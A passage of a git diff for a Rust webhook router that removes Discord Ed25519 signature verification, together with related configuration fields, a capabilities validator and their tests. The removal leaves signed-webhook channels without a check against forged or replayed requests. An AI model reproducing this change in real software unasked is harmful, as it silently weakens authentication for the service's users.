"error": "Invalid signature"
|
|
||||||
})),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
tracing::debug!(channel = %channel_name, "Ed25519 signature verified");
|
|
||||||
}
|
|
||||||
_ => {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = %channel_name,
|
|
||||||
"Signature headers missing but key is registered"
|
|
||||||
);
|
|
||||||
return (
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
Json(serde_json::json!({
|
|
||||||
"error": "Missing signature headers"
|
|
||||||
})),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Convert headers to HashMap
|
// Convert headers to HashMap
|
||||||
let headers_map: HashMap<String, String> = headers
|
let headers_map: HashMap<String, String> = headers
|
||||||
.iter()
|
.iter()
|
||||||
@@ -601,7 +516,6 @@ mod tests {
|
|||||||
capabilities,
|
capabilities,
|
||||||
"{}".to_string(),
|
"{}".to_string(),
|
||||||
Arc::new(PairingStore::new()),
|
Arc::new(PairingStore::new()),
|
||||||
None,
|
|
||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -730,437 +644,4 @@ mod tests {
|
|||||||
.await;
|
.await;
|
||||||
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
|
assert_eq!(router.get_secret_header("slack").await, "X-Webhook-Secret");
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Category 3: Router Signature Key Management ─────────────────────
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_register_and_get_signature_key() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
let fake_pub_key = "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2";
|
|
||||||
router
|
|
||||||
.register_signature_key("discord", fake_pub_key)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let key = router.get_signature_key("discord").await;
|
|
||||||
assert_eq!(key, Some(fake_pub_key.to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_no_signature_key_returns_none() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("slack");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
// Slack has no signature key registered
|
|
||||||
let key = router.get_signature_key("slack").await;
|
|
||||||
assert!(key.is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_unregister_removes_signature_key() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
|
|
||||||
let endpoints = vec![RegisteredEndpoint {
|
|
||||||
channel_name: "discord".to_string(),
|
|
||||||
path: "/webhook/discord".to_string(),
|
|
||||||
methods: vec!["POST".to_string()],
|
|
||||||
require_secret: false,
|
|
||||||
}];
|
|
||||||
|
|
||||||
router.register(channel, endpoints, None, None).await;
|
|
||||||
// Use a valid 32-byte Ed25519 key for this test
|
|
||||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
|
||||||
router
|
|
||||||
.register_signature_key("discord", valid_key)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
// Key should exist
|
|
||||||
assert!(router.get_signature_key("discord").await.is_some());
|
|
||||||
|
|
||||||
// Unregister
|
|
||||||
router.unregister("discord").await;
|
|
||||||
|
|
||||||
// Key should be gone
|
|
||||||
assert!(router.get_signature_key("discord").await.is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Key Validation Tests ──────────────────────────────────────────
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_register_valid_signature_key_succeeds() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
// Valid 32-byte Ed25519 public key (from test keypair)
|
|
||||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
|
||||||
let result = router.register_signature_key("discord", valid_key).await;
|
|
||||||
assert!(result.is_ok(), "Valid Ed25519 key should be accepted");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_register_invalid_hex_key_fails() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
let result = router
|
|
||||||
.register_signature_key("discord", "not-valid-hex-zzz")
|
|
||||||
.await;
|
|
||||||
assert!(result.is_err(), "Invalid hex should be rejected");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_register_wrong_length_key_fails() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
// 16 bytes instead of 32
|
|
||||||
let short_key = hex::encode([0u8; 16]);
|
|
||||||
let result = router.register_signature_key("discord", &short_key).await;
|
|
||||||
assert!(result.is_err(), "Wrong-length key should be rejected");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_register_empty_key_fails() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
let result = router.register_signature_key("discord", "").await;
|
|
||||||
assert!(result.is_err(), "Empty key should be rejected");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_valid_key_is_retrievable() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
let valid_key = "d75a980182b10ab7d54bfed3c964073a0ee172f3daa3f4a18446b7e8c7ac6602";
|
|
||||||
router
|
|
||||||
.register_signature_key("discord", valid_key)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let stored = router.get_signature_key("discord").await;
|
|
||||||
assert_eq!(stored, Some(valid_key.to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_invalid_key_does_not_store() {
|
|
||||||
let router = WasmChannelRouter::new();
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
router.register(channel, vec![], None, None).await;
|
|
||||||
|
|
||||||
// Attempt to register invalid key
|
|
||||||
let _ = router
|
|
||||||
.register_signature_key("discord", "not-valid-hex")
|
|
||||||
.await;
|
|
||||||
|
|
||||||
// Should not have stored anything
|
|
||||||
let stored = router.get_signature_key("discord").await;
|
|
||||||
assert!(stored.is_none(), "Invalid key should not be stored");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Webhook Handler Integration Tests ─────────────────────────────
|
|
||||||
|
|
||||||
use axum::Router as AxumRouter;
|
|
||||||
use axum::body::Body;
|
|
||||||
use axum::http::{Request, StatusCode};
|
|
||||||
use tower::ServiceExt;
|
|
||||||
|
|
||||||
use crate::channels::wasm::router::create_wasm_channel_router;
|
|
||||||
use ed25519_dalek::{Signer, SigningKey};
|
|
||||||
|
|
||||||
/// Helper to create a router with a registered channel at /webhook/discord.
|
|
||||||
async fn setup_discord_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
|
|
||||||
let wasm_router = Arc::new(WasmChannelRouter::new());
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
|
|
||||||
let endpoints = vec![RegisteredEndpoint {
|
|
||||||
channel_name: "discord".to_string(),
|
|
||||||
path: "/webhook/discord".to_string(),
|
|
||||||
methods: vec!["POST".to_string()],
|
|
||||||
require_secret: false,
|
|
||||||
}];
|
|
||||||
|
|
||||||
wasm_router.register(channel, endpoints, None, None).await;
|
|
||||||
|
|
||||||
let app = create_wasm_channel_router(wasm_router.clone(), None);
|
|
||||||
(wasm_router, app)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Helper: generate a test keypair.
|
|
||||||
fn test_signing_key() -> SigningKey {
|
|
||||||
SigningKey::from_bytes(&[
|
|
||||||
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
|
|
||||||
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
|
|
||||||
0x1c, 0xae, 0x7f, 0x60,
|
|
||||||
])
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_rejects_missing_sig_headers() {
|
|
||||||
let (wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
// Register a signature key
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
// Send request without signature headers
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.body(Body::from(r#"{"type":1}"#))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Missing signature headers should return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_rejects_invalid_signature() {
|
|
||||||
let (wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.header("x-signature-ed25519", "deadbeefdeadbeef")
|
|
||||||
.header("x-signature-timestamp", "1234567890")
|
|
||||||
.body(Body::from(r#"{"type":1}"#))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Invalid signature should return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_accepts_valid_signature() {
|
|
||||||
let (wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
// Use current timestamp so staleness check passes
|
|
||||||
let now_secs = std::time::SystemTime::now()
|
|
||||||
.duration_since(std::time::UNIX_EPOCH)
|
|
||||||
.unwrap()
|
|
||||||
.as_secs();
|
|
||||||
let timestamp = now_secs.to_string();
|
|
||||||
let body_bytes = br#"{"type":1}"#;
|
|
||||||
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body_bytes);
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
let sig_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.header("x-signature-ed25519", &sig_hex)
|
|
||||||
.header("x-signature-timestamp", ×tamp)
|
|
||||||
.body(Body::from(&body_bytes[..]))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
|
|
||||||
assert_ne!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Valid signature should not return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_skips_sig_for_no_key() {
|
|
||||||
let (_wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
// No signature key registered — should not require signature
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.body(Body::from(r#"{"type":1}"#))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
|
|
||||||
assert_ne!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"No signature key registered — should skip sig check"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_sig_check_uses_body() {
|
|
||||||
let (wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let timestamp = "1234567890";
|
|
||||||
// Sign body A
|
|
||||||
let body_a = br#"{"type":1}"#;
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body_a);
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
let sig_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
// But send body B
|
|
||||||
let body_b = br#"{"type":2}"#;
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.header("x-signature-ed25519", &sig_hex)
|
|
||||||
.header("x-signature-timestamp", timestamp)
|
|
||||||
.body(Body::from(&body_b[..]))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Signature for different body should return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_sig_check_uses_timestamp() {
|
|
||||||
let (wasm_router, app) = setup_discord_router().await;
|
|
||||||
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
// Sign with timestamp A
|
|
||||||
let timestamp_a = "1234567890";
|
|
||||||
let body = br#"{"type":1}"#;
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp_a.as_bytes());
|
|
||||||
message.extend_from_slice(body);
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
let sig_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
// But send timestamp B in the header
|
|
||||||
let timestamp_b = "9999999999";
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.header("x-signature-ed25519", &sig_hex)
|
|
||||||
.header("x-signature-timestamp", timestamp_b)
|
|
||||||
.body(Body::from(&body[..]))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Signature with mismatched timestamp should return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_webhook_sig_plus_secret() {
|
|
||||||
let wasm_router = Arc::new(WasmChannelRouter::new());
|
|
||||||
let channel = create_test_channel("discord");
|
|
||||||
|
|
||||||
let endpoints = vec![RegisteredEndpoint {
|
|
||||||
channel_name: "discord".to_string(),
|
|
||||||
path: "/webhook/discord".to_string(),
|
|
||||||
methods: vec!["POST".to_string()],
|
|
||||||
require_secret: true,
|
|
||||||
}];
|
|
||||||
|
|
||||||
// Register with BOTH secret and signature key
|
|
||||||
wasm_router
|
|
||||||
.register(channel, endpoints, Some("my-secret".to_string()), None)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
let signing_key = test_signing_key();
|
|
||||||
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
|
|
||||||
wasm_router
|
|
||||||
.register_signature_key("discord", &pub_key_hex)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let app = create_wasm_channel_router(wasm_router.clone(), None);
|
|
||||||
|
|
||||||
// Use current timestamp so staleness check passes
|
|
||||||
let now_secs = std::time::SystemTime::now()
|
|
||||||
.duration_since(std::time::UNIX_EPOCH)
|
|
||||||
.unwrap()
|
|
||||||
.as_secs();
|
|
||||||
let timestamp = now_secs.to_string();
|
|
||||||
let body = br#"{"type":1}"#;
|
|
||||||
let mut message = Vec::new();
|
|
||||||
message.extend_from_slice(timestamp.as_bytes());
|
|
||||||
message.extend_from_slice(body);
|
|
||||||
let signature = signing_key.sign(&message);
|
|
||||||
let sig_hex = hex::encode(signature.to_bytes());
|
|
||||||
|
|
||||||
// Provide valid signature AND valid secret
|
|
||||||
let req = Request::builder()
|
|
||||||
.method("POST")
|
|
||||||
.uri("/webhook/discord?secret=my-secret")
|
|
||||||
.header("content-type", "application/json")
|
|
||||||
.header("x-signature-ed25519", &sig_hex)
|
|
||||||
.header("x-signature-timestamp", ×tamp)
|
|
||||||
.body(Body::from(&body[..]))
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let resp = app.oneshot(req).await.unwrap();
|
|
||||||
// Should pass both checks (may be 500 due to no WASM module, but not 401)
|
|
||||||
assert_ne!(
|
|
||||||
resp.status(),
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
"Valid secret + valid signature should not return 401"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -90,37 +90,6 @@ impl ChannelCapabilitiesFile {
|
|||||||
serde_json::from_slice(bytes)
|
serde_json::from_slice(bytes)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Validate the capabilities file and emit warnings for common misconfigurations.
|
|
||||||
///
|
|
||||||
/// Called once at load time to catch issues early. Warnings are emitted via
|
|
||||||
/// `tracing::warn` so they show up in startup logs without blocking loading.
|
|
||||||
pub fn validate(&self) {
|
|
||||||
const MIN_PROMPT_LENGTH: usize = 30;
|
|
||||||
|
|
||||||
// Check for short prompts in required_secrets
|
|
||||||
for secret in &self.setup.required_secrets {
|
|
||||||
if secret.prompt.len() < MIN_PROMPT_LENGTH {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = self.name,
|
|
||||||
secret = secret.name,
|
|
||||||
prompt = secret.prompt,
|
|
||||||
"setup.required_secrets prompt is shorter than {} chars — \
|
|
||||||
consider a more descriptive prompt that tells the user where to find this value",
|
|
||||||
MIN_PROMPT_LENGTH
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Has required_secrets but no setup_url
|
|
||||||
if !self.setup.required_secrets.is_empty() && self.setup.setup_url.is_none() {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = self.name,
|
|
||||||
"setup.required_secrets defined but no setup.setup_url — \
|
|
||||||
user has no link to obtain credentials"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Convert to runtime ChannelCapabilities.
|
/// Convert to runtime ChannelCapabilities.
|
||||||
pub fn to_capabilities(&self) -> ChannelCapabilities {
|
pub fn to_capabilities(&self) -> ChannelCapabilities {
|
||||||
self.capabilities.to_channel_capabilities(&self.name)
|
self.capabilities.to_channel_capabilities(&self.name)
|
||||||
@@ -142,18 +111,6 @@ impl ChannelCapabilitiesFile {
|
|||||||
.and_then(|w| w.secret_header.as_deref())
|
.and_then(|w| w.secret_header.as_deref())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Get the signature verification key secret name for this channel.
|
|
||||||
///
|
|
||||||
/// Returns the secret name declared in `webhook.signature_key_secret_name`,
|
|
||||||
/// used to look up the Ed25519 public key in the secrets store.
|
|
||||||
pub fn signature_key_secret_name(&self) -> Option<&str> {
|
|
||||||
self.capabilities
|
|
||||||
.channel
|
|
||||||
.as_ref()
|
|
||||||
.and_then(|c| c.webhook.as_ref())
|
|
||||||
.and_then(|w| w.signature_key_secret_name.as_deref())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the webhook secret name for this channel.
|
/// Get the webhook secret name for this channel.
|
||||||
///
|
///
|
||||||
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
|
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
|
||||||
@@ -273,11 +230,6 @@ pub struct WebhookSchema {
|
|||||||
/// Default: "{channel_name}_webhook_secret"
|
/// Default: "{channel_name}_webhook_secret"
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub secret_name: Option<String>,
|
pub secret_name: Option<String>,
|
||||||
|
|
||||||
/// Secret name in secrets store containing the Ed25519 public key
|
|
||||||
/// for signature verification (e.g., Discord interaction verification).
|
|
||||||
#[serde(default)]
|
|
||||||
pub signature_key_secret_name: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Setup configuration schema.
|
/// Setup configuration schema.
|
||||||
@@ -293,10 +245,6 @@ pub struct SetupSchema {
|
|||||||
/// Placeholders like {secret_name} are replaced with actual values.
|
/// Placeholders like {secret_name} are replaced with actual values.
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub validation_endpoint: Option<String>,
|
pub validation_endpoint: Option<String>,
|
||||||
|
|
||||||
/// User-facing URL where they can create/manage credentials.
|
|
||||||
#[serde(default)]
|
|
||||||
pub setup_url: Option<String>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Configuration for a secret required during setup.
|
/// Configuration for a secret required during setup.
|
||||||
@@ -637,149 +585,4 @@ mod tests {
|
|||||||
64
|
64
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Category 5: Discord Capabilities Setup & Configuration ──────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_validate_channel_short_prompt() {
|
|
||||||
// prompt < 30 chars — should not panic
|
|
||||||
let json = r#"{
|
|
||||||
"name": "test-channel",
|
|
||||||
"setup": {
|
|
||||||
"required_secrets": [
|
|
||||||
{ "name": "bot_token", "prompt": "Bot token" }
|
|
||||||
],
|
|
||||||
"setup_url": "https://example.com"
|
|
||||||
}
|
|
||||||
}"#;
|
|
||||||
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
// Should not panic; warning emitted for short prompt
|
|
||||||
file.validate();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_validate_channel_missing_setup_url() {
|
|
||||||
// required_secrets without setup_url — should not panic
|
|
||||||
let json = r#"{
|
|
||||||
"name": "test-channel",
|
|
||||||
"setup": {
|
|
||||||
"required_secrets": [
|
|
||||||
{
|
|
||||||
"name": "bot_token",
|
|
||||||
"prompt": "Enter your bot token from the developer portal settings"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}"#;
|
|
||||||
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
// Should not panic; warning emitted for missing setup_url
|
|
||||||
file.validate();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_validate_clean_channel() {
|
|
||||||
// Well-configured channel — should not panic or warn
|
|
||||||
let json = r#"{
|
|
||||||
"name": "good-channel",
|
|
||||||
"setup": {
|
|
||||||
"required_secrets": [
|
|
||||||
{
|
|
||||||
"name": "bot_token",
|
|
||||||
"prompt": "Enter your bot token from https://example.com/bot-settings"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"setup_url": "https://example.com/bot-settings"
|
|
||||||
}
|
|
||||||
}"#;
|
|
||||||
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
// Should not panic and emits no warnings
|
|
||||||
file.validate();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_discord_capabilities_has_public_key_secret() {
|
|
||||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
|
|
||||||
let secret_names: Vec<&str> = file
|
|
||||||
.setup
|
|
||||||
.required_secrets
|
|
||||||
.iter()
|
|
||||||
.map(|s| s.name.as_str())
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
secret_names.contains(&"discord_public_key"),
|
|
||||||
"discord.capabilities.json must include discord_public_key in setup.required_secrets, \
|
|
||||||
found: {:?}",
|
|
||||||
secret_names
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_webhook_schema_signature_key_secret_name() {
|
|
||||||
let json = r#"{
|
|
||||||
"name": "discord",
|
|
||||||
"capabilities": {
|
|
||||||
"channel": {
|
|
||||||
"allowed_paths": ["/webhook/discord"],
|
|
||||||
"webhook": {
|
|
||||||
"signature_key_secret_name": "discord_public_key"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}"#;
|
|
||||||
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
assert_eq!(file.signature_key_secret_name(), Some("discord_public_key"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_signature_key_secret_name_none_when_missing() {
|
|
||||||
let json = r#"{
|
|
||||||
"name": "telegram",
|
|
||||||
"capabilities": {
|
|
||||||
"channel": {
|
|
||||||
"allowed_paths": ["/webhook/telegram"],
|
|
||||||
"webhook": {
|
|
||||||
"secret_header": "X-Telegram-Bot-Api-Secret-Token"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}"#;
|
|
||||||
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
assert_eq!(file.signature_key_secret_name(), None);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_discord_capabilities_signature_key() {
|
|
||||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
file.signature_key_secret_name(),
|
|
||||||
Some("discord_public_key"),
|
|
||||||
"discord.capabilities.json must declare signature_key_secret_name"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_discord_capabilities_secrets_allowlist() {
|
|
||||||
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
|
|
||||||
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
|
|
||||||
|
|
||||||
let caps = file.to_capabilities();
|
|
||||||
let secrets_caps = caps
|
|
||||||
.tool_capabilities
|
|
||||||
.secrets
|
|
||||||
.expect("Discord should have secrets capability");
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
secrets_caps.is_allowed("discord_public_key"),
|
|
||||||
"discord_public_key must be in the secrets allowlist"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,341 +0,0 @@
|
|||||||
//! Discord Ed25519 signature verification.
|
|
||||||
//!
|
|
||||||
//! Validates `X-Signature-Ed25519` and `X-Signature-Timestamp` headers
|
|
||||||
//! on incoming Discord interaction webhooks, per Discord's security requirements.
|
|
||||||
//!
|
|
||||||
//! See: <https://discord.com/developers/docs/interactions/overview#validating-security-request-headers>
|
|
||||||
|
|
||||||
/// Verify a Discord interaction signature.
|
|
||||||
///
|
|
||||||
/// Discord signs each interaction with Ed25519 using:
|
|
||||||
/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes)
|
|
||||||
/// - signature = Ed25519 detached signature (hex-encoded in header)
|
|
||||||
/// - public_key = Application public key from Developer Portal (hex-encoded)
|
|
||||||
///
|
|
||||||
/// Returns `true` if the signature is valid, `false` on any error
|
|
||||||
/// (bad hex, wrong length, invalid signature, etc.).
|
|
||||||
pub fn verify_discord_signature(
|
|
||||||
public_key_hex: &str,
|
|
||||||
signature_hex: &str,
|
|
||||||
timestamp: &str,
|
|
||||||
body: &[u8],
|
|
||||||
now_secs: i64,
|
|
||||||
) -> bool {
|
|
||||||
// Staleness check: reject non-numeric or stale/future timestamps
|
|
||||||
let ts: i64 = match timestamp.parse() {
|
